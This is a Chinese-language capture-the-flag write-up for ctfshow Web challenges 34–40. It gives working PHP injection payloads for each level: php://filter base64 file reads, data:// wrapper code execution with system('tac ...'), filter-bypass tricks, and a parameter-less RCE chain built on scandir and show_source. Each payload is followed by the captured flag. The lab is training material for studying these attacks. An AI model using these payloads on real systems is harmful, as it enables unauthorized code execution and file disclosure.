Web入门34-40
Web34
1、和前面两题一样,不过多解释,用前面的payload即可
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
2、得到base64编码出来的flag.php文件信息,解码得flag

flag=”ctfshow{17ae3a54-5107-4739-97ac-d9a740558a80}”
Web35
1、同前3题一样,不解释,看第32题的详细解析
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
2、得到base64编码出来的flag.php文件信息,解码得flag

flag=”ctfshow{211ce6f8-dcb2-495d-9ffe-9cc94d47e128}”
Web36
1、这道题过滤多了几个,导致我们前面用的payload失效了

2、分析怎么绕过,发现我们的数字被禁用了,那我们将之前我们的变量名1改为字母就好了,只要是没被禁用的,我们都可以用来作变量名
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
3、通过注入得到base64编码的flag.php文件信息,解码得flag

flag=”ctfshow{0dd9bfbb-0cb8-4f4e-8b92-40d16aba3316}”
Web37
1、看到题目,这道题可以直接输出flag.php,但同时完整的flag会被过滤,而且不区分大小写,只要不是完整的注入flag就好了
?c=system("cat fla*g.php | grep -E 'fl.g'");
发现无法出来flag,有可能是额外过滤 cat(或 system|cat|sort|head|tail 等命令)
2、那么常规的方法是不行的,我们换一种过滤方法,利用伪协议,绕过过滤
?c=data://text/plain,<?php system("tac fla*.php");?>
代码解释:
data:// //php支持的伪协议之一,告诉了php接下来的内容不是文件路径,而是直接提供数据
text/plain //表示纯文本内容
, //前面是协议的头部,接下来是内容
system("tac fla*.php") //执行系统的命令,利用tac反向读取文件,cat是正常我们逐字逐句的读,但是tac是从后面向前面读,fla*.php的*通配符可以匹配flag.php
由于php识别到data://伪协议认为后面的是文本形式的内容,直接读取了,include将内容引入到当前的脚本进行执行,我们就能得到flag了


flag=“ctfshow{50274800-8639-428c-b4d3-b285850aa1ef}”
Web38
1、在37题的基础上增加了过滤php,那么我们的上一个payload已经失效了,我们需要不包含php的payload
payload如下:
?c=data://text/plain,<?=system("tac fl*.*");?>
代码解释:
data:// //php支持的伪协议之一,告诉了php接下来的内容不是文件路径,而是直接提供数据
text/plain //表示纯文本内容
, //前面是协议的头部,接下来是内容
<?= //php短标签的echo简写形式,就是<?php echo,短且隐蔽,不过生产环境不建议这么写
system("tac fl*.*") //执行系统命令,system()是系统命令函数,tac是系统命令,利用*通配符代替了完整的flag.php
2、php识别到了data://协议,将后面的内容当成文件内容读取,因为incloude的原因,php会执行这段payload


flag=”ctfshow{ce5fd0c3-6f6f-481e-b31d-95079ada8509}”
Web39
1、看到题目,后面会强制加一个.php,其实这没什么影响,用上一题的payload即可

?c=data://text/plain,<?=system("tac fla*.*") ;?>
2、如果怕影响,可以再后面加一个注释//,但是这道题没影响,可以不用
?c=data://text/plain,<?=system("tac fla*.* //") ;?>
这是一个常见的绕过技巧,主要怕后面有什么奇怪字符可能触发规则,加了//避免了.php的干扰,
3、注入后得flag

flag=”ctfshow{ed725056-f8b5-4500-aa65-fb8e5cc125a0}”
Web40
1、看题目,除了|字母|_|下划线|空格|()(英文的括号)|没过滤,其余全部过滤了,过滤严格

2、其实看到这题我已经有点死了,过滤的基本就剩个字母可以用了,参考了无参数rce得出了payload
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
payload解释:
//从最里面往外读
localeconv() //返回一个关联数组,里面有各种货币/数字格式信息
//返回类似这样的数组:['decimal_point'=>'.', 'thousands_sep'=>',', ...]
pos(localeconv()) //返回数组的第一个元素
//在大多数 PHP 版本里,第一个元素是 decimal_point → 通常是字符串 "."
scandir(pos(localeconv())) //scandir(".") → 扫描当前目录的所有文件/文件夹
//返回当前目录文件列表数组,例如:['.', '..', 'index.php', 'flag.php']
array_reverse(...) //把数组倒序
//结果变成:['flag.php', 'index.php', '..', '.'](假设 flag.php 是最后一个文件)
next(...) //取出数组的下一个元素(指针后移)
//因为 array_reverse 后指针在第一个元素,next 取出第二个元素 → 很可能就是 flag.php
show_source(...) //高亮显示并输出指定文件的内容
//把 flag.php 的源码以高亮形式输出到页面(flag 就直接可见了)
3、注入后得到flag

flag=”ctfshow{94ee3fc8-c017-4a3a-9546-510d3e246350}”










